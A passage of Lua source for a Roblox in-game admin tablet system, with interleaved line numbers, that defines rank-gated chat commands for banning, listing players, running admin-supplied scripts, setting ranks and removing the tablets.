			end
2536
		end
2537
		local PlrName = ChangeRank(Msg, 0)
2538
		Ping("Un-Banned "..PlrName, Speaker, 5)
2539
	end)
2540
end)
2541
2542
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
2543
	Dismiss(Speaker)
2544
	Ping("Commands", Speaker, nil, function()
2545
		Dismiss(Speaker.Name)
2546
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2547
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2548
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
2549
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
2550
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
2551
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
2552
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2553
		Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
2554
	end)
2555
	Ping("Players", Speaker, nil, function()
2556
		ListPlayers(Speaker)
2557
	end)
2558
end)
2559
2560
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2561
	ListPlayers(Speaker)
2562
end)
2563
2564
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2565
	local Func,Error = loadstring(Msg)
2566
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2567
	getfenv(Func).Speaker = Speaker
2568
	if Error == nil then
2569
		coroutine.wrap(function()
2570
			Func()
2571
		end)()
2572
		Ping("Executed Script!", Speaker, 5)
2573
	else
2574
		Ping(Error, Speaker, 10)
2575
	end
2576
end)
2577
2578
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
2579
	if LS ~= nil then
2580
		local Split = GetSplit(Msg)
2581
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2582
		local LocalSource = Msg:sub(Split + 1)
2583
		if #PlrTab > 0 then
2584
			for _,v in pairs(PlrTab) do
2585
				local Inserted = LS:Clone()
2586
				Inserted.Disabled = true
2587
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2588
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2589
					Inserted:findFirstChild(OwnSource).Value = v.Name
2590
				end
2591
				Inserted[LSSource].Value = LocalSource
2592
				Inserted.Disabled = false
2593
			end
2594
		end
2595
	else
2596
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2597
	end
2598
end)
2599
2600
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2601
	Msg = tostring(Msg)
2602
	Ping(Msg, Speaker)
2603
end)
2604
2605
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2606
	Dismiss(Speaker)
2607
	for i,v in pairs(getfenv(1)) do
2608
		ypcall(function()
2609
			Ping(tostring(i)..": "..tostring(v), Speaker)
2610
		end)
2611
	end
2612
end)
2613
2614
Command('Ranks', 0, 'Shows all players in ranking table',
2615
function(Msg,Speaker)
2616
for _,v in pairs(Rankings) do
2617
Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
2618
end
2619
end)
2620
2621
2622
Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
2623
	local Split = GetSplit(Msg)
2624
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2625
	local Rank = tonumber(Msg:sub(Split + 1))
2626
	if #PlrTab > 0 then
2627
		for _,v in pairs(PlrTab) do
2628
			if v.Name ~= Owner then
2629
				ChangeRank(v, Rank)
2630
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2631
			end
2632
		end
2633
	end
2634
end)
2635
2636
Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
2637
	Dismiss()
2638
	Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
2639
	        Dismiss()
2640
	Removed = true
2641
	for i,v in pairs(getfenv(1)) do
2642
		getfenv(1)[i] = nil
2643
	end
2644
	script.Disabled = true
2645
	end)
2646
end)